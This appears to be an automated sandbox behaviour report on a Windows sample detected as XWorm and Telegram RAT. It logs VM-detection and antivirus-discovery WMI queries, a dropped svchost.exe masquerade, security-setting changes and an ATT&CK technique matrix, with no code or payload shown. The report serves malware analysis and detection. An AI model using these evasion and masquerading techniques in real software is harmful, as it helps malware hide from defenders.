Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Memory allocated: BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Memory allocated: 1A8A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 2940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 1A940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 32A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Memory allocated: 1B2A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Window / User API: threadDelayed 1599			Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Window / User API: threadDelayed 8237			Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe TID: 7496	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe TID: 7508	Thread sleep count: 1599 > 30	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe TID: 7508	Thread sleep count: 8237 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe TID: 7608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe TID: 7808	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	File Volume queried: unknown FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000005.00000002.3700982634.000001EDEF664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: svchost.exe, 00000005.00000002.3700982634.000001EDEF681000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: yF21ypxRB7.exe, 00000000.00000002.3704179728.000000001B938000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllO
Source: svchost.exe, 00000005.00000002.3700982634.000001EDEF664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000Ad
Source: svchost.exe, 00000005.00000002.3700396624.000001EDEF602000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 00000005.00000002.3700982634.000001EDEF664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: svchost.exe, 00000005.00000002.3701142771.000001EDEF68E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000005.00000002.3700647003.000001EDEF62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000005.00000002.3700765508.000001EDEF64D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000007.00000002.3700643698.000001FE6DA31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Queries volume information: C:\Users\user\Desktop\yF21ypxRB7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\yF21ypxRB7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Source: svchost.exe, 00000006.00000002.3701472363.0000011719502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: yF21ypxRB7.exe, 00000000.00000002.3705285429.000000001C5E0000.00000004.00000020.00020000.00000000.sdmp, yF21ypxRB7.exe, 00000000.00000002.3704179728.000000001B9DE000.00000004.00000020.00020000.00000000.sdmp, yF21ypxRB7.exe, 00000000.00000002.3704179728.000000001B938000.00000004.00000020.00020000.00000000.sdmp, yF21ypxRB7.exe, 00000000.00000002.3700338414.0000000000A41000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3701472363.0000011719502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\yF21ypxRB7.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: yF21ypxRB7.exe PID: 6312, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: yF21ypxRB7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.yF21ypxRB7.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yF21ypxRB7.exe PID: 6312, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: yF21ypxRB7.exe PID: 6312, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: yF21ypxRB7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.yF21ypxRB7.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1245680814.0000000000472000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yF21ypxRB7.exe PID: 6312, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Windows Service	1 Windows Service	11 Masquerading	1 Input Capture	241 Security Software Discovery	Remote Services	1 Input Capture	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	21 Registry Run Keys / Startup Folder	1 Process Injection	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	21 Registry Run Keys / Startup Folder	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	13 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
